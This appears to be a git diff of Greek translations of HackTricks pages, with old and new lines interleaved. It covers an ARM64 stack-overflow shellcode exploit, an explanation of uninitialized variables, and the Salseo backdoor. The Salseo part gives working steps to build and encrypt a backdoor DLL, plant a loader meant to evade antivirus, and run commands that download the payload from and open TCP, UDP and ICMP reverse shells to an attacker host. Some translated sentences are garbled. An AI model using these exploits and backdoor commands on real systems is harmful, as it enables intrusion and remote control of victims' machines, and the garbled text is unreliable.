* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Βρείτε μια εισαγωγή στο arm64 στο:
@ -20,7 +21,7 @@
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
## Κώδικας&#x20;
## Code&#x20;
```c
#include <stdio.h>
#include <unistd.h>
@ -35,19 +36,21 @@ vulnerable_function();
return 0;
}
```
Μεταγλώττιση χωρίς pie, canary και nx:
Συγκεντρώστε χωρίς pie, canary και nx:
{% code overflow="wrap" %}
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
## Χωρίς ASLR & Χωρίς canary - Υπερχείλιση Στοίβας
{% endcode %}
## Χωρίς ASLR & Χωρίς canary - Stack Overflow&#x20;
Για να σταματήσετε το ASLR εκτελέστε:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Για να πάρετε το [**offset του bof ελέγξτε αυτό το link**](../ret2win/ret2win-arm64.md#finding-the-offset).
Για να αποκτήσετε το [**offset του bof ελέγξτε αυτόν τον σύνδεσμο**](../ret2win/ret2win-arm64.md#finding-the-offset).
Exploit:
```python
@ -80,6 +83,21 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
Το μόνο "περίπλοκο" πράγμα που πρέπει να βρείτε εδώ είναι η διεύθυνση στο stack για να καλέσετε. Στην περίπτωσή μου δημιούργησα το exploit με τη διεύθυνση που βρέθηκε χρησιμοποιώντας το gdb, αλλά όταν προσπάθησα να το εκμεταλλευτώ δεν λειτούργησε (επειδή η διεύθυνση του stack άλλαξε λίγο).
Το μόνο "περίπλοκο" πράγμα που πρέπει να βρείτε εδώ είναι η διεύθυνση στη στοίβα για να καλέσετε. Στην περίπτωσή μου, δημιούργησα την εκμετάλλευση με τη διεύθυνση που βρήκα χρησιμοποιώντας το gdb, αλλά όταν την εκμεταλλεύτηκα δεν λειτούργησε (επειδή η διεύθυνση της στοίβας άλλαξε λίγο).
Άνοιξα το δημιουργημένο **`αρχείο core`** (`gdb ./bog ./core`) και ελέγχθηκε η πραγματική διεύθυνση της έναρξης του shellcode.
Άνοιξα το παραγόμενο **`core` αρχείο** (`gdb ./bog ./core`) και έλεγξα τη πραγματική διεύθυνση της αρχής του shellcode.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,32 +1,42 @@
# Μη Αρχικοποιημένες Μεταβλητές
# Uninitialized Variables
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικές Πληροφορίες
## Basic Information
Η βασική ιδέα εδώ είναι να κατανοήσουμε τι συμβαίνει με **μη αρχικοποιημένες μεταβλητές καθώς θα έχουν την τιμή που ήταν ήδη στη μνήμη που τους ανατέθηκε.** Παράδειγμα:
Η βασική ιδέα εδώ είναι να κατανοήσουμε τι συμβαίνει με **τις μη αρχικοποιημένες μεταβλητές καθώς θα έχουν την τιμή που ήταν ήδη στη μνήμη που τους έχει ανατεθεί.** Παράδειγμα:
* **Συνάρτηση 1: `initializeVariable`**: Δηλώνουμε μια μεταβλητή `x` και της αναθέτουμε μια τιμή, ας πούμε `0x1234`. Αυτή η ενέργεια είναι παρόμοια με το να κρατάμε ένα σημείο στη μνήμη και να τοποθετούμε μια συγκεκριμένη τιμή σε αυτό.
* **Συνάρτηση 2: `useUninitializedVariable`**: Εδώ, δηλώνουμε μια άλλη μεταβλητή `y` αλλά δεν της αναθέτουμε καμία τιμή. Στη γλώσσα C, οι μη αρχικοποιημένες μεταβλητές δεν ορίζονται αυτόματα σε μηδέν. Αντίθετα, διατηρούν την τιμή που ήταν τελευταία αποθηκευμένη στη θέση μνήμης τους.
* **Function 1: `initializeVariable`**: Δηλώνουμε μια μεταβλητή `x` και της αναθέτουμε μια τιμή, ας πούμε `0x1234`. Αυτή η ενέργεια είναι παρόμοια με την κράτηση μιας θέσης στη μνήμη και την τοποθέτηση μιας συγκεκριμένης τιμής σε αυτήν.
* **Function 2: `useUninitializedVariable`**: Εδώ, δηλώνουμε μια άλλη μεταβλητή `y` αλλά δεν της αναθέτουμε καμία τιμή. Στη C, οι μη αρχικοποιημένες μεταβλητές δεν ρυθμίζονται αυτόματα σε μηδέν. Αντίθετα, διατηρούν όποια τιμή ήταν τελευταία αποθηκευμένη στη θέση μνήμης τους.
Όταν εκτελέσουμε αυτές τις δύο συναρτήσεις **σειριακά**:
Όταν εκτελούμε αυτές τις δύο συναρτήσεις **διαδοχικά**:
1. Στην `initializeVariable`, η `x` ανατίθεται μια τιμή (`0x1234`), η οποία καταλαμβάνει μια συγκεκριμένη διεύθυνση μνήμης.
2. Στην `useUninitializedVariable`, η `y` δηλώνεται αλλά δεν ανατίθεται τιμή, οπότε παίρνει τη θέση μνήμης αμέσως μετά την `x`. Λόγω της μη αρχικοποίησης της `y`, κληρονομεί την τιμή από την ίδια θέση μνήμης που χρησιμοποιήθηκε από την `x`, επειδή αυτή ήταν η τελευταία τιμή που υπήρχε εκεί.
2. Στην `useUninitializedVariable`, η `y` δηλώνεται αλλά δεν της ανατίθεται τιμή, οπότε καταλαμβάνει τη θέση μνήμης αμέσως μετά την `x`. Λόγω της μη αρχικοποίησης της `y`, καταλήγει ναληρονομεί" την τιμή από την ίδια θέση μνήμης που χρησιμοποιήθηκε από την `x`, επειδή αυτή είναι η τελευταία τιμή που υπήρχε εκεί.
Αυτή η συμπεριφορά εικονίζει ένα βασικό έννοια στον προγραμματισμό χαμηλού επιπέδου: **Η διαχείριση μνήμης είναι κρίσιμη**, και οι μη αρχικοποιημένες μεταβλητές μπορεί να οδηγήσουν σε μη προβλέψιμη συμπεριφορά ή ευπάθειες ασφαλείας, καθώς μπορεί να κρατούν ακούσια ευαίσθητα δεδομένα που παρέμειναν στη μνήμη.
Αυτή η συμπεριφορά απεικονίζει μια βασική έννοια στον προγραμματισμό χαμηλού επιπέδου: **Η διαχείριση μνήμης είναι κρίσιμη**, και οι μη αρχικοποιημένες μεταβλητές μπορούν να οδηγήσουν σε απρόβλεπτη συμπεριφορά ή ευπάθειες ασφαλείας, καθώς μπορεί να κρατούν κατά λάθος ευαίσθητα δεδομένα που έχουν μείνει στη μνήμη.
Οι μη αρχικοποιημένες μεταβλητές στο στοίβα θα μπορούσαν να θέσουν αρκετούς κινδύνους ασφαλείας όπως:
* **Data Leakage**: Ευαίσθητες πληροφορίες όπως κωδικοί πρόσβασης, κλειδιά κρυπτογράφησης ή προσωπικές λεπτομέρειες μπορεί να εκτεθούν αν αποθηκευτούν σε μη αρχικοποιημένες μεταβλητές, επιτρέποντας στους επιτιθέμενους να διαβάσουν αυτά τα δεδομένα.
* **Information Disclosure**: Το περιεχόμενο των μη αρχικοποιημένων μεταβλητών μπορεί να αποκαλύψει λεπτομέρειες σχετικά με τη διάταξη μνήμης του προγράμματος ή τις εσωτερικές λειτουργίες, βοηθώντας τους επιτιθέμενους να αναπτύξουν στοχευμένες εκμεταλλεύσεις.
* **Crashes and Instability**: Οι λειτουργίες που περιλαμβάνουν μη αρχικοποιημένες μεταβλητές μπορεί να οδηγήσουν σε μη καθορισμένη συμπεριφορά, προκαλώντας κρα crashes ή απρόβλεπτα αποτελέσματα.
* **Arbitrary Code Execution**: Σε ορισμένα σενάρια, οι επιτιθέμενοι θα μπορούσαν να εκμεταλλευτούν αυτές τις ευπάθειες για να αλλάξουν τη ροή εκτέλεσης του προγράμματος, επιτρέποντάς τους να εκτελέσουν αυθαίρετο κώδικα, ο οποίος μπορεί να περιλαμβάνει απειλές εκτέλεσης απομακρυσμένου κώδικα.
### Example
```c
#include <stdio.h>
@ -56,8 +66,27 @@ demonstrateUninitializedVar();
return 0;
}
```
#### Πώς Λειτουργεί:
#### Πώς Λειτουργεί Αυτό:
* **Συνάρτηση `initializeAndPrint`**: Αυτή η συνάρτηση δηλώνει μια ακέραια μεταβλητή `initializedVar`, της αναθέτει την τιμή `100`, και στη συνέχεια εκτυπώνει τη διεύθυνση μνήμης και την τιμή της μεταβλητής. Αυτό το βήμα είναι απλό και δείχνει πώς συμπεριφέρεται μια αρχικοποιημένη μεταβλητή.
* **Συνάρτηση `demonstrateUninitializedVar`**: Σε αυτή τη συνάρτηση, δηλώνουμε μια ακέραια μεταβλητή `uninitializedVar` χωρίς να την αρχικοποιήσουμε. Όταν προσπαθούμε να εκτυπώσουμε την τιμή της, η έξοδος μπορεί να εμφανίσει ένα τυχαίο αριθμό. Αυτός ο αριθμός αντιπροσωπεύει τα δεδομένα που υπήρχαν προηγουμένως σε αυτήν τη θέση μνήμης. Ανάλογα με το περιβάλλον και το μεταγλωττιστή, η πραγματική έξοδος μπορεί να ποικίλει, και μερικές φορές, για λόγους ασφαλείας, μερικοί μεταγλωττιστές ενδέχεται να αρχικοποιούν αυτόματα τις μεταβλητές σε μηδέν, αν και δεν πρέπει να βασιζόμαστε σε αυτό.
* **Συνάρτηση `main`**: Η συνάρτηση `main` καλεί και τις δύο παραπάνω συναρτήσεις σε σειρά, δείχνοντας την αντίθεση μεταξύ μιας αρχικοποιημένης μεταβλητής και μιας μη αρχικοποιημένης.
* **`initializeAndPrint` Συνάρτηση**: Αυτή η συνάρτηση δηλώνει μια ακέραια μεταβλητή `initializedVar`, της αναθέτει την τιμή `100` και στη συνέχεια εκτυπώνει τόσο τη διεύθυνση μνήμης όσο και την τιμή της μεταβλητής. Αυτό το βήμα είναι απλό και δείχνει πώς συμπ behaves μια αρχικοποιημένη μεταβλητή.
* **`demonstrateUninitializedVar` Συνάρτηση**: Σε αυτή τη συνάρτηση, δηλώνουμε μια ακέραια μεταβλητή `uninitializedVar` χωρίς να την αρχικοποιήσουμε. Όταν προσπαθούμε να εκτυπώσουμε την τιμή της, η έξοδος μπορεί να δείξει έναν τυχαίο αριθμό. Αυτός ο αριθμός αντιπροσωπεύει οποιαδήποτε δεδομένα ήταν προηγουμένως σε αυτή τη διεύθυνση μνήμης. Ανάλογα με το περιβάλλον και τον μεταγλωττιστή, η πραγματική έξοδος μπορεί να διαφέρει, και μερικές φορές, για λόγους ασφαλείας, ορισμένοι μεταγλωττιστές μπορεί να αρχικοποιούν αυτόματα τις μεταβλητές σε μηδέν, αν και αυτό δεν θα πρέπει να θεωρείται δεδομένο.
* **`main` Συνάρτηση**: Η `main` συνάρτηση καλεί και τις δύο παραπάνω συναρτήσεις διαδοχικά, δείχνοντας τη διαφορά μεταξύ μιας αρχικοποιημένης μεταβλητής και μιας μη αρχικοποιημένης.
## Παράδειγμα ARM64
Αυτό δεν αλλάζει καθόλου στο ARM64 καθώς οι τοπικές μεταβλητές διαχειρίζονται επίσης στο στοίβα, μπορείτε να [**ελέγξετε αυτό το παράδειγμα**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) όπου αυτό δείχνεται.
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,38 +1,39 @@
# Salseo
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Συντάσσοντας τα δυαδικά αρχεία
## Συγκέντρωση των δυαδικών αρχείων
Κατεβάστε τον πηγαίο κώδικα από το github και συντάξτε τα **EvilSalsa** και **SalseoLoader**. Θα χρειαστεί να έχετε εγκατεστημένο το **Visual Studio** για να συντάξετε τον κώδικα.
Κατεβάστε τον πηγαίο κώδικα από το github και συγκεντρώστε το **EvilSalsa** και το **SalseoLoader**. Θα χρειαστείτε εγκατεστημένο το **Visual Studio** για να συγκεντρώσετε τον κώδικα.
Συντάξτε αυτά τα έργα για την αρχιτεκτονική του παραθύρου όπου θα τα χρησιμοποιήσετε (Αν τα Windows υποστηρίζουν x64, συντάξτε τα για αυτές τις αρχιτεκτονικές).
Συγκεντρώστε αυτά τα έργα για την αρχιτεκτονική του υπολογιστή Windows όπου θα τα χρησιμοποιήσετε (Αν τα Windows υποστηρίζουν x64, συγκεντρώστε τα για αυτές τις αρχιτεκτονικές).
Μπορείτε να **επιλέξετε την αρχιτεκτονική** μέσα στο Visual Studio στην **αριστερή καρτέλα "Build"** στο **"Platform Target".**
Μπορείτε να **επιλέξετε την αρχιτεκτονική** μέσα στο Visual Studio στην **αριστερή καρτέλα "Build"** στην **"Platform Target".**
(\*\*Αν δεν μπορείτε να βρείτε αυτές τις επιλογές, πατήστε στην **"Project Tab"** και μετά στις **"Ιδιότητες \<Ονομασίας Έργου>"**)
(\*\*Αν δεν μπορείτε να βρείτε αυτές τις επιλογές, πατήστε στην **"Project Tab"** και στη συνέχεια στην **"\<Project Name> Properties"**)
![](<../.gitbook/assets/image (132).png>)
![](<../.gitbook/assets/image (839).png>)
Στη συνέχεια, συντάξτε και τα δύο έργα (Build -> Build Solution) (Μέσα στα logs θα εμφανιστεί η διαδρομή του εκτελέσιμου αρχείου):
Στη συνέχεια, κατασκευάστε και τα δύο έργα (Build -> Build Solution) (Μέσα στα logs θα εμφανιστεί η διαδρομή του εκτελέσιμου):
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
![](<../.gitbook/assets/image (381).png>)
## Προετοιμασία της Παρασκήνιας Πόρτας
## Προετοιμάστε το Backdoor
Καταρχάς, θα πρέπει να κωδικοποιήσετε το **EvilSalsa.dll.** Για να το κάνετε αυτό, μπορείτε να χρησιμοποιήσετε το σενάριο python **encrypterassembly.py** ή μπορείτε να συντάξετε το έργο **EncrypterAssembly**:
Πρώτα απ' όλα, θα χρειαστεί να κωδικοποιήσετε το **EvilSalsa.dll.** Για να το κάνετε αυτό, μπορείτε να χρησιμοποιήσετε το python script **encrypterassembly.py** ή μπορείτε να συγκεντρώσετε το έργο **EncrypterAssembly**:
### **Python**
```
@ -44,29 +45,29 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Τώρα έχετε ό,τι χρειάζεστε για να εκτελέσετε όλο το Salseo: το **κωδικοποιημένο EvilDalsa.dll** και το **δυαδικό του SalseoLoader.**
Εντάξει, τώρα έχετε όλα όσα χρειάζεστε για να εκτελέσετε όλα τα πράγματα Salseo: το **encoded EvilDalsa.dll** και το **binary of SalseoLoader.**
**Μεταφορτώστε το δυαδικό SalseoLoader.exe στη μηχανή. Δεν πρέπει να ανιχνευθεί από κανένα AV...**
**Ανεβάστε το SalseoLoader.exe binary στη μηχανή. Δεν θα πρέπει να ανιχνευτούν από κανένα AV...**
## **Εκτέλεση της πίσω πόρτας**
## **Εκτέλεση του backdoor**
### **Λήψη εναλλακτικού κέλυφους TCP (λήψη κωδικοποιημένου dll μέσω HTTP)**
### **Λήψη ενός TCP reverse shell (κατεβάζοντας το encoded dll μέσω HTTP)**
Θυμηθείτε να ξεκινήσετε ένα nc ως ακροατής αντίστροφου κελύφους και ένα διακομιστή HTTP για να εξυπηρετήσετε το κωδικοποιημένο evilsalsa.
Θυμηθείτε να ξεκινήσετε ένα nc ως τον listener του reverse shell και έναν HTTP server για να σερβίρετε το encoded evilsalsa.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
### Λήψη ενός αντίστροφου κέλυφους UDP (λήψη κωδικοποιημένου dll μέσω SMB)
### **Λήψη ενός UDP reverse shell (κατέβασμα κωδικοποιημένου dll μέσω SMB)**
Θυμηθείτε να ξεκινήσετε ένα nc ως ακροατή αντίστροφου κελύφους και ένα διακομιστή SMB για να εξυπηρετήσει το κωδικοποιημένο evilsalsa (impacket-smbserver).
Θυμηθείτε να ξεκινήσετε ένα nc ως τον listener του reverse shell και έναν SMB server για να εξυπηρετήσει το κωδικοποιημένο evilsalsa (impacket-smbserver).
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **Λήψη ενός αντίστροφου κελύφους ICMP (κωδικοποιημένο dll ήδη μέσα στο θύμα)**
### **Λήψη ICMP αντίστροφης θήκης (κωδικοποιημένο dll ήδη μέσα στον θύμα)**
**Αυτή τη φορά χρειάζεστε ένα ειδικό εργαλείο στον πελάτη για να λάβετε το αντίστροφο κελύφους. Λήψη:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
**Αυτή τη φορά χρειάζεστε ένα ειδικό εργαλείο στον πελάτη για να λάβετε την αντίστροφη θήκη. Κατεβάστε:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Απενεργοποίηση απαντήσεων ICMP:**
#### **Απενεργοποίηση Απαντήσεων ICMP:**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
@ -77,77 +78,77 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
#### Μέσα στο θύμα, ας εκτελέσουμε το πράγμα salseo:
#### Μέσα στον θύμα, ας εκτελέσουμε το salseo πράγμα:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
## Συναρμολόγηση του SalseoLoader ως DLL εξαγωγής κύριας συνάρτησης
## Συγκέντρωση του SalseoLoader ως DLL που εξάγει τη βασική λειτουργία
Ανοίξτε το έργο SalseoLoader χρησιμοποιώντας το Visual Studio.
### Προσθέστε πριν από την κύρια συνάρτηση: \[DllExport]
### Προσθέστε πριν από τη βασική λειτουργία: \[DllExport]
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (409).png>)
### Εγκατάσταση DllExport για αυτό το έργο
### Εγκαταστήστε το DllExport για αυτό το έργο
#### **Εργαλεία** --> **Διαχείριση πακέτων NuGet** --> **Διαχείριση πακέτων NuGet για τη λύση...**
#### **Εργαλεία** --> **Διαχειριστής Πακέτων NuGet** --> **Διαχείριση Πακέτων NuGet για Λύση...**
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (881).png>)
#### **Αναζήτηση για το πακέτο DllExport (χρησιμοποιώντας την καρτέλα Περιήγηση), και πατήστε Εγκατάσταση (και αποδεχτείτε το αναδυόμενο παράθυρο)**
#### **Αναζητήστε το πακέτο DllExport (χρησιμοποιώντας την καρτέλα Περιήγηση) και πατήστε Εγκατάσταση (και αποδεχτείτε το αναδυόμενο παράθυρο)**
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (100).png>)
Στο φάκελο του έργου σας εμφανίζονται τα αρχεία: **DllExport.bat** και **DllExport\_Configure.bat**
Στο φάκελο του έργου σας έχουν εμφανιστεί τα αρχεία: **DllExport.bat** και **DllExport\_Configure.bat**
### **Απεγκατάσταση DllExport**
### **Α**πεγκαταστήστε το DllExport
Πατήστε **Απεγκατάσταση** (ναι, είναι περίεργο αλλά εμπιστευτείτε με, είναι απαραίτητο)
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
![](<../.gitbook/assets/image (97).png>)
### **Έξοδος από το Visual Studio και εκτέλεση του DllExport\_configure**
Απλά **βγείτε** από το Visual Studio
Απλά **έξοδος** από το Visual Studio
Στη συνέχεια, πηγαίνετε στον φάκελο του **SalseoLoader** και **εκτελέστε το DllExport\_Configure.bat**
Στη συνέχεια, πηγαίνετε στο **φάκελο SalseoLoader** σας και **εκτελέστε το DllExport\_Configure.bat**
Επιλέξτε **x64** (αν πρόκειται να το χρησιμοποιήσετε μέσα σε ένα x64 box, όπως στην περίπτωσή μου), επιλέξτε **System.Runtime.InteropServices** (μέσα στο **Namespace for DllExport**) και πατήστε **Εφαρμογή**
Επιλέξτε **x64** (αν πρόκειται να το χρησιμοποιήσετε μέσα σε ένα x64 box, αυτό ήταν η περίπτωση μου), επιλέξτε **System.Runtime.InteropServices** (μέσα στο **Namespace για DllExport**) και πατήστε **Εφαρμογή**
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (882).png>)
### **Ανοίξτε ξανά το έργο με το Visual Studio**
Το **\[DllExport]** δε θα πρέπει πλέον να εμφανίζεται ως σφάλμα
**\[DllExport]** δεν θα πρέπει πλέον να επισημαίνεται ως σφάλμα
![](<../.gitbook/assets/image (8) (1).png>)
![](<../.gitbook/assets/image (670).png>)
### Κατασκευή της λύσης
### Δημιουργία της λύσης
Επιλέξτε **Τύπος Εξόδου = Βιβλιοθήκη κλάσεων** (Έργο --> Ιδιότητες SalseoLoader --> Εφαρμογή --> Τύπος εξόδου = Βιβλιοθήκη κλάσεων)
Επιλέξτε **Τύπος Έξοδου = Βιβλιοθήκη Κλάσης** (Έργο --> Ιδιότητες SalseoLoader --> Εφαρμογή --> Τύπος εξόδου = Βιβλιοθήκη Κλάσης)
![](<../.gitbook/assets/image (10) (1).png>)
![](<../.gitbook/assets/image (847).png>)
Επιλέξτε **πλατφόρμα x64** (Έργο --> Ιδιότητες SalseoLoader --> Κατασκευή --> Στόχος πλατφόρμας = x64)
Επιλέξτε **πλατφόρμα x64** (Έργο --> Ιδιότητες SalseoLoader --> Δημιουργία --> Στόχος πλατφόρμας = x64)
![](<../.gitbook/assets/image (9) (1) (1).png>)
![](<../.gitbook/assets/image (285).png>)
Για να **κατασκευάσετε** τη λύση: Κατασκευή --> Κατασκευή Λύσης (Μέσα στην κονσόλα εξόδου θα εμφανιστεί η διαδρομή του νέου DLL)
Για να **δημιουργήσετε** τη λύση: Δημιουργία --> Δημιουργία Λύσης (Μέσα στην κονσόλα εξόδου θα εμφανιστεί η διαδρομή της νέας DLL)
### Δοκιμάστε το παραγόμενο Dll
### Δοκιμάστε την παραγόμενη DLL
Αντιγράψτε και επικολλήστε το Dll όπου θέλετε να το δοκιμάσετε.
